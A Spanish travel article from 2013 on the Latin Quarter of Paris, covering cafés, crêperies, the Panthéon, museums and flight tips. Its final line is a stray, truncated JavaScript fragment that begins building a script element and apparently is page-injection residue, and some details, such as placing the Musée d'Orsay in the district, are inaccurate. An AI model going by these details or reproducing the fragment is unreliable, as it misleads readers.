París, poco estudio y mucho vino

14/03/2013

Estudiantes, copas de vino, estudiantes, crepes, estudiantes, tableta de chocolate, estudiantes, café en terraza, estudiantes, risas, estudiantes, carácter bohemio, estudiantes, callejuelas… Y así uno podría tirarse toda la vida enumerando los encantos del Barrio Latino de París. En esa lista se repite una palabra porque son ellos, los jóvenes universitarios, los que dan vida al distrito V de la orilla izquierda del río Sena. Aunque en París todo tenga esa pinta burguesa y sofisticada, el Barrio Latino puede que sea la zona turística más barata de la ciudad. Su nombre procede del siglo XII, cuando el latín era la lengua académica de todas las universidades, y por supuesto también de la Sorbona, cuyo edificio principal aparece en la preciosa plaza salpicada de fuentes donde se ven veinteañeros de cháchara.

Antes que ellos estuvieron aquí intelectuales como Simone de Beauvoir, Hemingway o Sartre y las hordas de jóvenes que se peleaban con la policía durante el Mayo del 68. No se cansará de pasear por los dos principales bulevares, con sus librerías y tiendas de ropa, que se cruzan en cruz: el de Saint Germain y el de Saint Michel, dos ejes señoriales fruto de la reforma de Haussmann que en la segunda mitad del XIX configuró el París actual. El Mercado de la Rue Mouffetard pone más notas de color. Siéntase (si encuentra hueco) junto a la fuente alegórica de la Place de Saint Michel y curiosee por los bares que salpican los aledaños. ¿Le apetece un café? Acuda al Café du Flore (Boulevard Saint Germain, 172), una maravilla art decó. ¿Y un crêpe? Esté atento a los lugares donde haya cola. Si no, ahí van dos recomendaciones: Paradis (Rue Mouffetard, 64) y Crêperie de Cluny (junto a la abadía del mismo nombre). En estas dos microzonas del Barrio Latino podrá encontrar algún que otro bistro económico.

Nos sigue con su mirada la inconfundible cúpula del Panteón, neoclásico puro, donde se encuentran enterrados hombres ilustres como Voltaire, Marat, Monnet, Víctor Hugo y Marie Curie (la única mujer). Descubra la Biblioteca de Santa Genoveva y la iglesia de Saint Etienne du Mont. Por aquí y por allí nacen pequeñas calles adoquinadas pero también espacios abiertos como el Jardín de Luxemburgo, que guarda en su interior la sede del Senado francés. Antes de que anochezca hay que visitar alguna institución del distrito: Museo de Orsay, Museo Marie Curie o Instituto del Mundo Árabe (un moderno edificio de cristal a cuya azotea se puede subir de forma gratuita para divisar los tejados de París). Y ya de noche: estudiantes, cerveza, estudiantes, cerveza, estudiantes, vino… Y así hasta otro día. Con mucho estudiante pero poco estudio.

Datos útiles:

  • París tiene más de dos millones de habitantes.
  • El clima de la ciudad es oceánico semicontinental. Tiene diferenciadas las cuatro estaciones. En invierno no suele bajar de los 5 grados y en verano no suele aumentar de los 30.
  • La moneda es el euro.
  • Iberia ofrece hasta 10 vuelos a París al día desde Madrid y también vuelos directos desde León, Burgos, Valladolid, Salamanca, Albacete y Badajoz (estos dos últimos solo en verano). Además en www.iberia.com se puede contratar un servicio de transfer desde el aeropuerto de Orly a la ciudad de París o a Disneyland París desde 17€ por trayecto.

Foto |twiga269 ॐ FEMEN

var d=document;var s=d.createElement(‘script’);